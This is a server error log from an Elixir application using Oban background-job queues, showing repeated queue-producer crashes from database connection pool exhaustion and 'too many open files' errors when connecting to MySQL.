State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:01:30.250344Z], limit: 20, uuid: "27ac566a-3e67-40ec-beb8-24d83591693c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:01:30.250349Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.258598>, refresh_timer: #Reference<0.2525715032.1077411843.232153>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:01:42.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1066ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:01:30.243564Z], limit: 50, uuid: "f122b9d3-61be-48e1-8c93-f041f5f4d066", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:01:30.243570Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.258602>, refresh_timer: #Reference<0.2525715032.1077411843.232092>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:01:42.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 843ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:01:30.243025Z], limit: 5, uuid: "115480c5-e432-464b-b073-125005891ee4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:01:30.243031Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.258601>, refresh_timer: #Reference<0.2525715032.1077411843.232091>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:01:42.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 806ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:01:30.240657Z], limit: 3, uuid: "05c476aa-826d-4914-a8fa-803cc809ef54", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:01:30.240667Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.258603>, refresh_timer: #Reference<0.2525715032.1077411843.232095>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:01:42.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1048ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:01:30.250187Z], limit: 5, uuid: "57758c17-cbda-4df3-9cf7-86274c6c98ef", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:01:30.250194Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.258600>, refresh_timer: #Reference<0.2525715032.1077411843.232146>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:01:42.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 886ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:01:30.243787Z], limit: 10, uuid: "19d3b96d-1f27-4766-883a-c5d3c7818172", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:01:30.243791Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.258599>, refresh_timer: #Reference<0.2525715032.1077411843.232105>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:01:45.413000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:01:46.835000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:01:48.881000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:01:49.206000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:01:50.242000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:01:53.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 899ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:01:42.244748Z], limit: 10, uuid: "c5918b45-4e41-4732-a943-3cd467a614e0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:01:42.244754Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.232500>, refresh_timer: #Reference<0.2525715032.1121189889.103574>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:01:53.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1050ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:01:42.241034Z], limit: 5, uuid: "aa7cbcbf-d80a-4ed4-bcb8-0da576a3e318", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:01:42.241038Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.232498>, refresh_timer: #Reference<0.2525715032.1077411843.232452>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:01:53.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 848ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:01:42.244056Z], limit: 5, uuid: "e90e0b91-2611-4351-8edc-4318ef5dbd48", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:01:42.244061Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.232497>, refresh_timer: #Reference<0.2525715032.1077411843.232495>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:01:53.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 878ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
